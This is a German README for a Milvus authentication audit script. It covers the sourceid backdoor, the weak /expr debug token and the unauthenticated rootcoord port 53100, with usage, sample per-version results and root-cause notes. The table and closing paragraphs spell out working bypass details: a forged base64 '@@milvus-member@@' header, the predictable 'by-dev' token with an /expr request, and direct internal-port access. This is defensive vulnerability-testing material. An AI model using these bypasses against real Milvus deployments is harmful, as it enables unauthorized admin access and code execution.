
Milvus-Authentifizierungs-Sicherheitsprüfungsskript: CVE-2025-64513 (sourceid-Backdoor) / CVE-2026-26190 (/expr schwaches Token) / interner Port 53100
Milvus Authentifizierungs-Sicherheitsskript. Erkennt drei Authentifizierungsfehler:
| Schwachstelle | CVE | Betroffene Versionen | Erkennungsmethode |
|---|---|---|---|
| sourceid-Backdoor umgeht Authentifizierung | CVE-2025-64513 | < 2.4.24 / < 2.5.21 / < 2.6.5 | gRPC ListDatabases + sourceid-Injektion |
| Schwaches Token für /expr auf Verwaltungsport | CVE-2026-26190 | < 2.5.27 / < 2.6.10 | HTTP /expr?code=1%2B1&auth=by-dev (code-Parameter muss URL-kodiert sein) |
| Interner Port rootcoord 53100 ohne Authentifizierung | — | < 2.6.10 (ab 2.6.10 nicht mehr gelauscht) | gRPC-Direktverbindung zum RootCoordService |
# Proxy-Ebenen-Erkennung (sourceid-Backdoor + /expr schwaches Token)
python3 milvus-auth-audit.py --host 127.0.0.1 --port 19530 --mgmt-port 9091
# Vollständige Erkennung (inkl. internem Port, benötigt Erreichbarkeit im Container-Netzwerk)
python3 milvus-auth-audit.py --host <Container-IP> --port 19530 --mgmt-port 9091 --internal-port 53100
Parameter:
--host: Milvus-Proxy-Adresse--port: Proxy-gRPC-Port (Standard 19530)--mgmt-port: Verwaltungsport (Standard 9091, hier liegt /expr)--internal-port: Interner Port (rootcoord standardmäßig 53100, 0 zum Überspringen)--cve-check: Gibt die von den CVEs betroffenen Versionshinweise auspip install grpcio protobuf
gRPC-Aufrufe benötigen den aus den Proto-Definitionen generierten Python-Code (milvus_pb2_grpc.py, root_coord_pb2_grpc.py usw.), der im Unterordner proto/ im Skriptverzeichnis abgelegt wird. Generierung:
# 1. milvus-proto-Repository klonen
git clone https://github.com/milvus-io/milvus-proto.git
# 2. milvus-Quellcode klonen (interne Protos: root_coord.proto / internal.proto / proxy.proto usw.)
git clone https://github.com/milvus-io/milvus.git
# 3. Generieren (interne milvus-Protos unter milvus/pkg/proto/)
pip install grpcio-tools
python3 -m grpc_tools.protoc -I milvus-proto/proto -I milvus/pkg/proto \
--python_out=proto --grpc_python_out=proto \
milvus-proto/proto/milvus.proto milvus/pkg/proto/root_coord.proto \
milvus/pkg/proto/internal.proto milvus/pkg/proto/proxy.proto
=== 2.6.4 ===
[*] Ziel: 172.22.0.4:19530 Verwaltungsport: 9091
[check] Authentifizierungsstatus: Authentifizierung aktiviert (authorizationEnabled=true)
[verify] sourceid-Backdoor umgeht Authentifizierung, Datenbanken=['default'] -> HIT
[verify] /expr beliebigen Ausdruck ausführen (auth=by-dev) -> HIT
[exploit] Interner Port ohne Authentifizierung, Datenbanken=['default'] -> HIT
[!] 3 ausnutzbare Authentifizierungsfehler gefunden
=== 2.6.5 ===
[check] Authentifizierungsstatus: Authentifizierung aktiviert (authorizationEnabled=true)
[verify] sourceid wurde abgelehnt -> SAFE
[verify] /expr beliebigen Ausdruck ausführen (auth=by-dev) -> HIT
[exploit] Interner Port ohne Authentifizierung, Datenbanken=['default'] -> HIT
[!] 2 ausnutzbare Authentifizierungsfehler gefunden
=== 2.6.10 ===
[check] Authentifizierungsstatus: Authentifizierung aktiviert (authorizationEnabled=true)
[verify] sourceid wurde abgelehnt -> SAFE
[verify] /expr standardmäßig deaktiviert -> SAFE
[exploit] Port nicht erreichbar -> SAFE
[+] Keine Authentifizierungsfehler gefunden
internal/proxy/authentication_interceptor.go prüft validSourceID() den sourceId-Header; wenn der base64-dekodierte Wert gleich @@milvus-member@@ ist, wird der gesamte Authentifizierungszweig übersprungen. Dies ist ein Vertrauensmechanismus für interne Komponenten (PerRPCCredentials in grpcclient/auth.go), jedoch ohne Herkunftsprüfung, sodass er extern fälschbar ist. Vollständige Nutzungskette: sourceid + authorization=base64("root:falsches Passwort") = Full Admin (Proxy überspringt die Prüfung, die falsche Identität wird unverändert durchgereicht)./expr-Debug-Endpunkt auf dem Verwaltungsport 9091 bezieht sein Authentifizierungstoken aus etcd.rootPath (standardmäßig by-dev), vollständig vorhersagbar, und kann beliebige expr-lang-Ausdrücke ausführen. Ab 2.6.10 wird dies durch common.security.exprEnabled gesteuert und ist standardmäßig deaktiviert.Nur für Sicherheitstests in autorisierten Umgebungen. Nicht gegen nicht autorisierte Systeme verwenden.
AuthenticationInterceptor ist nur am Proxy (19530) registriert; der interne gRPC-Server des rootcoord (53100) hat keine Authentifizierung. Innerhalb des Container-Netzwerks reicht eine unauthentifizierte Direktverbindung für Full Admin. Ab 2.6.10 lauscht dieser Port nicht mehr.